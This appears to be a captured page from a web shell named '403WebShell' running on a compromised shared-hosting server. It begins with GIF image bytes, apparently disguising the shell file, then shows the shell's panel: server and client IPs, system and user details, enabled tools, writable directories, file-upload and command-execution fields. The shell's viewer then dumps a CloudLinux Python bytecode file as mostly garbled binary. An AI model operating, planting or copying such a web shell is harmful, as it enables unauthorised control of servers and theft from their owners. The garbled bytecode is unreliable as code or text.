GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/clselect/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/clselect/__pycache__/cluserselect.cpython-311.pyc
�

$_$h0l��p�ddlmZddlmZddlmZddlZddlZddlZddlZddlZddl	Z	ddl
mZddl
mZmZmZmZddlmZddlmZddlZd	d
lmZd	dlmZddlmZmZd	d
lmZd	dl m!Z!ddlm"Z"ddl#m$Z$	ddl%m&Z&ddl'm(Z(ddl)m*Z*m+Z+m,Z,ddl-m.Z.ddl/m0Z0n#e1$rYnwxYwGd�de��Z2dS)�)�print_function)�absolute_import)�divisionN)�configparser)�S_IRUSR�S_IWUSR�S_IRGRP�S_IROTH)�	iteritems)�Path�)�ClSelect)�ClSelectExcept)�ClPwd�	clcaptain)�clprint)�utils)�clcagefs)�ExternalProgramFailed)�BASEDIR)�get_user_prefix)�is_ea4_enabled�read_cpanel_ea4_php_conf�configure_alt_php)�da_change_user_php_ini)�ispmanager_create_user_wrapperc��eZdZdZdZej��rendZdZdZ	d-d�Z
ed.d	���Zd
�Z
d/d�Zd0d�Zd�Zd�Zd�Zd�Zd1d�Zd1d�Zdedefd�Zd0d�Zd�Zd�Zd�Zd�Zd�Zd-d�Zd2d�Zee��Zd �Z d!�Z!d"�Z"d#�Z#d$�Z$d%�Z%ee%��Z%d&�Z&d'�Z'ee'��Z'd3d(�Z(d)�Z)d*�Z*ee*��Z*d+�Z+d,�Z,dS)4�ClUserSelectz/var/cagefsz
/usr/selectorz'/usr/share/cagefs-skeleton/usr/selectorz/etc/cagefs/excludez.cl.selector/selector.pathNc�\�tj��s!tj�d��sdS|D]�}|j�|��}tj�|jd��}tj�|��s�|�	|��}	tj|��n.#ttf$r}tj||���d}~wwxYw	t �|����#t �|��wxYw��dS)z�
        Creates flags mod_lsapi_reset_me in users' home directories in order
        to recreate CRIU images when php version/extensions/options have changed
        For details see LVEMAN-1210
        :param users: list of usernames (strings)
        z/var/run/mod_lsapi/criu.enabledN�mod_lsapi_reset_me)r�	in_cagefs�os�path�isfile�_clpwd�get_pw_by_name�join�pw_dir�_change_uidr�write�OSErrorrr�UnableToSaveDatar�_restore_uid)�self�users�user�pwr#�previous_user_data�es       �L/opt/cloudlinux/venv/lib64/python3.11/site-packages/clselect/cluserselect.py�clean_crui_imageszClUserSelect.clean_crui_images0s:���!�#�#�	�B�G�N�N�;\�,]�,]�	��F��
	B�
	B�D���+�+�D�1�1�B��7�<�<��	�+?�@�@�D��7�>�>�$�'�'�
B�%)�%5�%5�d�%;�%;�"�B��O�D�)�)�)�)���!6�7�C�C�C�(�9�$��B�B�B�����C����*�!�-�-�.@�A�A�A�A��L�-�-�.@�A�A�A�A����
B�
	B�
	Bs*�-C�D�C-�C(�(C-�-D�D(Tc�4�tj�t��s;t	j��s(t
d��|rtjd��ndS|rut��rgt��}|rW	|d}|�d��s(t
d��|rtjd��ndSn#t$rYnwxYwt||dtj��dk|�	��}|r|rtjd��|S)
z�
        Switch symlink for alt php.
        Create .cagefs directory if not created
        Rerurn True if error has occured
        �ERROR: CageFS not installed.r
T�defaultzea-phpzlERROR: system default PHP version is alt-php. PHP Selector is disabled. Use cPanel MultiPHP manager instead.Fr)�	write_log�	drop_perm�configure_multiphp)r"r#�isdirrrr!�print�sys�exitrr�
startswith�KeyErrorr�geteuid)�versionr1�
exit_on_errorr;�conf�default_php�errors       r4�switch_symlink_for_alt_phpz'ClUserSelect.switch_symlink_for_alt_phpIsN���w�}�}�W�%�%�	�h�.@�.B�.B�	��0�1�1�1��
���������t��	�.�"2�"2�	�+�-�-�D��

��"&�y�/�K�&�1�1�(�;�;�(��_�`�`�`�(�(��H�Q�K�K�K�K�#'�4��������D�����"�"�g��2�:�<�<�[\�K\�uG�H�H�H���	�]�	��H�Q�K�K�K��s�AC�
C�Cc��|jr#td��tjd��t	j��dkr#td��tjd��|���}t|��D]M\}}td|��|j�	|��}t�||dd����NdS)NzPERROR: this option does not work in "single user" mode (when CageFS is disabled)r
rzERROR: root privileges requiredzProcessing userF)rDr;)�without_cagefsr=r>r?r"rB�get_user_version_maprr%r&rrH)r.�users_vers_dictr0rCr1s     r4�apply_symlinks_rulesz!ClUserSelect.apply_symlinks_rulesns�����	��d�e�e�e��H�Q�K�K�K�
�:�<�<�1����3�4�4�4��H�Q�K�K�K��3�3�5�5��&��7�7�	p�	p�M�D�'��#�T�*�*�*���+�+�D�1�1�B��3�3�G�R�u�in�3�o�o�o�o�	p�	p��phpc��tj||��t��|_t	��|_|r	||_dSg|_dS�N)r�__init__rr%�set�_user_excludes�exclude_pid_list)r.�itemrUs   r4rRzClUserSelect.__init__{sP����$��%�%�%��g�g���!�e�e����	'�$4�D�!�!�!�$&�D�!�!�!rNFc	�������|����|��}��|��}tj�|��s|S�����tj�|�j��}tj�	|��s|Stj
|����jr9�js��
�j����j�jkr|Stj�����jkr|S	t!t#���fd�t!����������d}|�|d�|d�jfS#t&t(f$r|cYSwxYw)zl
        Returns alternative version for a user
        @param user: string
        @return: string
        c�>���|d�j�kS)N�data)�_item)�i�alternatives�link_dstr.s ���r4�<lambda>z*ClUserSelect.get_version.<locals>.<lambda>�s���<��?�6�2�4�:�>���rNrrCrY)�_check_user_in_cagefs�_compose_user_alt_path�_compose_native_infor"r#r<�get_all_alternatives_datar'rZ�islink�readlinkrJ�_native_contents�_load_native_contents�dirname�
SELECTOR_PATH�list�filter�keys�
IndexErrorrA)	r.r0�show_native_version�alt_path�native�	full_pathrCr\r]s	`      @@r4�get_versionzClUserSelect.get_version�s������	
�"�"�4�(�(�(��.�.�t�4�4���*�*�+>�?�?���w�}�}�X�&�&�	��M��5�5�7�7���G�L�L��4�:�6�6�	��w�~�~�i�(�(�	��M��;�y�)�)����	��(�
7��*�*�4�:�6�6�6��4�0���<�<�<��
�
�7�?�?�8�$�$��(:�:�:��M�		��6��������\�&�&�(�(�)�)�+�+�,�,�-.�/�G�� ��)�)�4� ��)�&�1�$�*�=�?�
?���H�%�	�	�	��M�M�M�	���s�=A.F,�,G�Gc�n�tj�|��s�|�|��}	t	j|��n.#ttf$r}tj	||���d}~wwxYw	t�|��dS#t�|��wxYwdSrQ)r"r#r<r)r�mkdirr+rrr,rr-)r.r#r0r2r3s     r4�
create_dirzClUserSelect.create_dir�s����w�}�}�T�"�"�	>�!%�!1�!1�$�!7�!7��
>����%�%�%�%���2�3�
?�
?�
?�$�5�d�A�>�>�>�����
?����&��)�)�*<�=�=�=�=�=���)�)�*<�=�=�=�=����	>�	>s)�A�
B�A6�A1�1A6�6B�B2c�p�|j�|��}tj�||j��}|�|��}|�||��|�d|dzd���|�d|dzd���|�	|��dS)z\
        Creates additional directory and symlinks for use in "without CageFS" mode
        z
../php-cliz/phpT)�check_existencez../phpz/php-cgiN)
r%�get_homedirr"r#r'�
SELECTOR2_DIRr)rt�_create_symlinkr-)r.r0�homedir�path_in_home�cur_users     r4�create_selector_symlinksz%ClUserSelect.create_selector_symlinks�s����+�)�)�$�/�/���w�|�|�G�T�-?�@�@���#�#�D�)�)������d�+�+�+����\�<��+>�PT��U�U�U����X�|�J�'>�PT��U�U�U����(�#�#�#�#�#rNc���tj�tj��rD	|j�d|j��S#tj	ttf$rYdSwxYwdS)N�versionsro)r"r#r$r�
DEFAULTS_PATH�_dh�getrZ�ConfigParser�Error�IOErrorrA)r.s r4�get_default_versionz ClUserSelect.get_default_version�si��
�7�>�>�(�0�1�1�	 �
 ��x�|�|�J��
�;�;�;�� �&���:�
 �
 �
 ��x�x�
 �����xs�A�A+�*A+c�J�tj�|j�|��dd��}tj�|��s*|�||�����dS	|�|��}|�||�	d|j
����dS#tjttf$r<}tdt!|����t#jd��Yd}~dSd}~wwxYw)N�.cl.selector�defaults.cfgrz*Error while restoring settings from backupr
)r"r#r'r%rwr$�set_versionr��_get_default_config_handlerr�rZr�r�r�rAr=�strr>r?)r.r0�user_backup_path�dhr3s     r4�set_version_from_backupz$ClUserSelect.set_version_from_backup�s���7�<�<���(?�(?��(E�(E�~�We�f�f���w�~�~�.�/�/�	����T�4�#;�#;�#=�#=�>�>�>�>�>�
��5�5�6F�G�G��� � ��r�v�v�j�$�*�'E�'E�F�F�F�F�F�� �&���:�
�
�
��B�C��F�F�K�K�K�����������������
���s�AC
�
D"�&1D�D"c	�D�tj��dkr+|�|��x}rtj|���tj|j|j�	|j�
|����tj||||��}|r|SdS)zz
        Sets alternative version for a users with the same uid
        @param user: string
        @return: None
        rN)r"rB�"get_version_selection_disabled_msgr�VersionModificationBlockedr�apply_for_at_least_one_user�_set_versionr%�	get_names�get_uid�NoUserSelector)r.r0rC�return_summaryrmrD�messagerYs        r4r�zClUserSelect.set_version�s����:�<�<�1���T�-T�-T�UY�-Z�-Z�"Z�'�� �;�G�D�D�D��0����K�!�!�$�+�"5�"5�d�";�";�<�<��)��^�%8�-�	
�
���	��K�	�	rNc�6�|jr|�|��}|�|��|�|��}tj�|��s2|jr|�||��ntj	|���|�
��}||vr|dkrtj|���|�|��|j
�|��}	|dk�r�|jr[|js|�|j��t%|j��D]#\}
}|�||dz|
z||���$�n�d}d}
tj�|j�d�|��}tj�|��rbtj�d|jz|��}tj�||��}|�||||��d}
t	j|j��D]�}|j|vr�|�d��r|
r�$tj�||��}tj�|j|��}|�||||����nWt%||d	��D];\}
}|�|tj�||
��||���<|jrt4�|��n3t4�||	|�
��|�||��|�|��|�|��|r|� ||��SdS)zg
        Sets alternative version for a user
        @param user: string
        @return: None
        ro�/zphp.iniFz.etcz%s.etcT�.inirY�rDN)!rJr)r_r`r"r#r<rtrr�rb�NoSuchAlternativeVersion�_remove_alternatives_linksr%r&rerfrZrryr'�NATIVE_PATH�existsrh�listdir�endswithrr-rH�_switch_php_da_isp�_reload_processes�_backup_settings�get_summary)r.r0rCr�rmrDr2rnr\r1rV�native_path�ini�new_ini_created�new_ini_path�src�dst�filenamer#s                   r4r�zClUserSelect._set_version�s�����	8�!%�!1�!1�$�!7�!7���"�"�4�(�(�(��.�.�t�4�4���w�}�}�X�&�&�	:��"�
:�����$�/�/�/�/�$�3�D�9�9�9��5�5�7�7���,�&�&�7�h�+>�+>� �9�'�B�B�B��'�'��1�1�1�
�[�
'�
'��
-�
-���h����"�
B��,�;��.�.�t�z�:�:�:�)2�4�3H�)I�)I�X�X�%�D�+��(�(��h�s�l�4�6G��w�W�W�W�W�X� ��"'��!�w�|�|��8H�8H�8H�,J�C�P�P���7�>�>�,�/�/�+��'�,�,�x�$�2D�'D�c�J�J�C��'�,�,�x��5�5�C��(�(��c�4��A�A�A�&*�O� "�
�4�+;� <� <�B�B�H��z��1�1� ��(�(��0�0�!�_�!� ��'�,�,�x��:�:�C��'�,�,�t�'9�8�D�D�C��(�(��c�4��A�A�A�A�B�(��W�(=�f�(E�F�F�
X�
X�
��d��$�$�T�2�7�<�<��$�+G�+G��w�W�W�W�W���	3��%�%�&8�9�9�9�9��3�3�G�R�Q^�3�_�_�_��#�#�D�'�2�2�2����t�$�$�$����d�#�#�#��	?��#�#�D�*=�>�>�>�	?�	?rN�username�returnc�n�|j�|��}td|�d���}|���sdS	|�d���5}tj|��}|�dd��cddd��S#1swxYwYdS#ttf$rYdSwxYw)a�
        Returns a message indicating that the selection of the PHP version
        is disabled for the user, based on the configuration file.

        Args:
            username (str): The username for which to check the configuration.

        Returns:
            str: The message indicating that version selection is disabled,
                 or an empty string if the configuration file does not exist
                 or does not contain the message.
        z!/var/cloudlinux/cl.selector/uids/z/version_selection_conf.json�zutf-8)�encoding�version_selection_disabled_msgN)
r%r�rr��open�json�loadr�r+�
ValueError)r.r��uid�config_file�f�config_datas      r4r�z/ClUserSelect.get_version_selection_disabled_msg!s#���k�!�!�(�+�+���`�s�`�`�`�a�a���!�!�#�#�	��2�	��!�!�7�!�3�3�
M�q�"�i��l�l��"���'G��L�L�
M�
M�
M�
M�
M�
M�
M�
M�
M�
M�
M�
M����
M�
M�
M�
M�
M�
M����$�	�	�	��2�2�	���s6�B�*B�B�B�B�B�B�B4�3B4c�6�|�|��|���}|�|��}ddddd�i}t|�����}|�d��|�|��d}|D]O}||vri||<|j�|j	�|��d��||d<d||d<d||d	<�P	|j�
d
|j	��}	n##tjtj
f$rd}	YnwxYw	d||	d<d||d	<n"#t$rtj|	���wxYw|�d��||d<|�d��|�|d��t't)|����D]8}
||
}|||d||d||d	ff||
<�9t+|��S)zb
        Returns state of alternatives
        @param user: string
        @return: tuple
        roTF)�enabledr8�selectedr�stater�r8r�r)r_rbra�sortedrk�appendrqr��
has_optionrZr�r��NoSectionError�
NoOptionErrorrArr��pop�remove�range�len�tuple)r.r0rmr\�native_info�summary�alt_versions�selected_versionrC�default_version�idx�vs            r4r�zClUserSelect.get_summary:s{��	
�"�"�4�(�(�(��5�5�7�7���/�/�0C�D�D�����5�B�B�C���l�/�/�1�1�2�2�����H�%�%�%��+�+�D�1�1�!�4��#�	1�	1�G��g�%�%�#%��� �.2�h�.A�.A��*�*�g�g�.��/9�/9�+9�G�G��Y�'�*/�G�G��Y�'�+0�G�G��Z�(�(�	'�"�h�l�l�:�t�z�B�B�O�O���+�\�-G�H�	'�	'�	'�&�O�O�O�	'����	K�26�G�O�$�Y�/�48�G�$�%�j�1�1���	K�	K�	K� �9�/�J�J�J�	K����")�+�+�h�"7�"7���A������H�%�%�%����K��N�+�+�+���\�*�*�+�+�	*�	*�C��S�!�A�����I�&����I�&����J�'�)�!*�L����
�\�"�"�"s�+ D�D,�+D,�0E�E&c	��|�|��}|D]W}	|�||d����#t$r/}tjddt|��d���Yd}~�Pd}~wwxYw|�|��dS)z�
        Changes users of a supplied version to specified_version
        @param version: string
        @param current_version: string
        Fr��text�ERROR)�statusr�N)�
list_usersr��	Exceptionr�
print_diagr�r5)r.�new_version�current_versionr/r0r3s      r4�change_to_versionzClUserSelect.change_to_versionds�������0�0���	�	�D�
�� � ��{�E� �J�J�J�J���
�
�
��"�6�g�#�a�&�&�+Q�+Q�R�R�R����������
����	
���u�%�%�%�%�%s�4�
A-�%A(�(A-c�F�|���}||vr||SgS)z8
        Returns users of a certain alternative
        )�get_version_user_map)r.rCrYs   r4r�zClUserSelect.list_usersss-���(�(�*�*���d�?�?���=� ��	rNc��|jrddlm}|��gSt|����|�������S)zF
        Returns all valid system users
        @return: list
        r
)�get_cpanel_user)rJ�clselectctlphpr�ri�_get_system_users�
difference�_get_user_excludes)r.r�s  r4�list_all_userszClUserSelect.list_all_users|sq��
��	'�7�7�7�7�7�7�#�O�%�%�&�&��D�*�*�,�,�7�7��#�#�%�%�'�'�(�(�	(rNc��t��}d|d<d|d<d|d<d}tj�|��	ddl}n3#t
$r&t
d��tjd��YnwxYwtj�	tt|��|d��}tj�|d	z��r"tj�|d
z��s|�
||��dSdS)Nr�init�reinit�verbose�/usr/share/cagefsr7r
�etcz/cl.selectorz	/cl.php.d)�dictr>r#r��	cagefsctl�ImportErrorr=r?r"r'rrr��cpetc_for_user)r.r0�config�LIBDIRr��cagefs_etc_paths      r4�cagefs_copy_etczClUserSelect.cagefs_copy_etc�s��������v����x����y��$����������	��������	�	�	��0�1�1�1��H�Q�K�K�K�K�K�	�����'�,�,�w���0E�0E�t�U�S�S���w�~�~�o��>�?�?�	3��G�N�N�?�[�#@�A�A�	3��$�$�T�6�2�2�2�2�2�	3�	3s�A�-A5�4A5c��|���}i}|D]7}	|�|d��d||<�##tj$rY�4wxYw|S)zH
        Returns user version map as dict
        @return: dict
        Fr)r�rqr�
NotCageFSUser)r.�actual_usersrYr0s    r4rKz!ClUserSelect.get_user_version_map�sv��
�*�*�,�,���� �	�	�D�
�!�-�-�d�E�:�:�1�=��T�
�
��!�/�
�
�
���
�����s�<�A�
Ac���|p|���}i}|D]X}	|�|d��d}||vrg||<||�|���D#tj$rY�UwxYw|S)zH
        Returns users grouped by version
        @return: dict
        Fr)r�rqr�rr�)r.�
user_namesr�rYr0rCs      r4r�z!ClUserSelect.get_version_user_map�s���
"�:�T�%8�%8�%:�%:���� �	�	�D�
��*�*�4��7�7��:���$���$&�D��M��W�
�$�$�T�*�*�*�*��!�/�
�
�
���
�����s�AA�A1�0A1c
��	|rbtj�|��r/tj|��|krtj|��ndStj|��tj||��dS#t$r=}|�|�tj|||���tjd|�d|�d|�d����d}~wwxYw)z�
        Creates symlink from src to dst
        @param src: string
        @param dst: string
        @param user: string
        @param version: string
        @param check_existence: bool
        @return: None
        NzCannot create symlink from z to z (�))
r"r#rcrd�unlinkr�remove_file_or_dirr�symlinkr�r�UnableToSetAlternative�SelectorException)r�r�r0rCrvr3s      r4ryzClUserSelect._create_symlink�s���	L��
2��7�>�>�#�&�&�2��{�3�'�'�3�.�.��	�#��������,�S�1�1�1���c�3�'�'�'�'�'���	L�	L�	L���G�$7�$�;�D�'�1�M�M�M� �2�2�>A�c�c�3�3�3����J�L�L�
L�����	L���s�AA=�)A=�=
C�8B?�?Cc���|jr|jStj�|j��st��Stj|j��D]�}tj�|j|��}|j�ttd�tj|�������������|jS)zE
        Returns list of user excludes
        @return: list
        c�*�|���SrQ)�strip)�xs r4r^z1ClUserSelect._get_user_excludes.<locals>.<lambda>�s��1�7�7�9�9�rN)
rTr"r#r<�CAGEFS_EXCLUDErSr�r'�update�mapr�read_file_as_string�
splitlines)r.rV�full_item_paths   r4r�zClUserSelect._get_user_excludes�s���
��	'��&�&��w�}�}�T�0�1�1�	��5�5�L��J�t�2�3�3�	R�	R�D��W�\�\�$�*=�t�D�D�N���&�&���,�,��1�.�A�A�L�L�N�N�P�P�Q�Q�
R�
R�
R�
R��"�"rNc��|jrdStj��rdSd}tj�|��	ddl}n3#t$r&td��tj	d��YnwxYw	|�
|��stj|���dS#t$r'td��tj	d��YdSwxYw)z4
        Check that cagefs enabled for user
        Nr�rr7r
z;ERROR: CageFS version is unsupported. Please update CageFS.)rJrr!r>r#r�r�r�r=r?�is_user_enabledrr��AttributeError)r.r0r�r�s    r4r_z"ClUserSelect._check_user_in_cagefs�s����	��F�����	��F�$����������	��������	�	�	��0�1�1�1��H�Q�K�K�K�K�K�	����	��,�,�T�2�2�
9�$�2�4�8�8�8�
9�
9���	�	�	��O�P�P�P��H�Q�K�K�K�K�K�K�	���s$�A�-A6�5A6�:)B%�%-C�Cc���tj|��D]`}|j|vr�tj�||��}tj�|��s�Ltj|���adS)zg
        Removes all symlinks from directory
        @param path: string
        @return: None
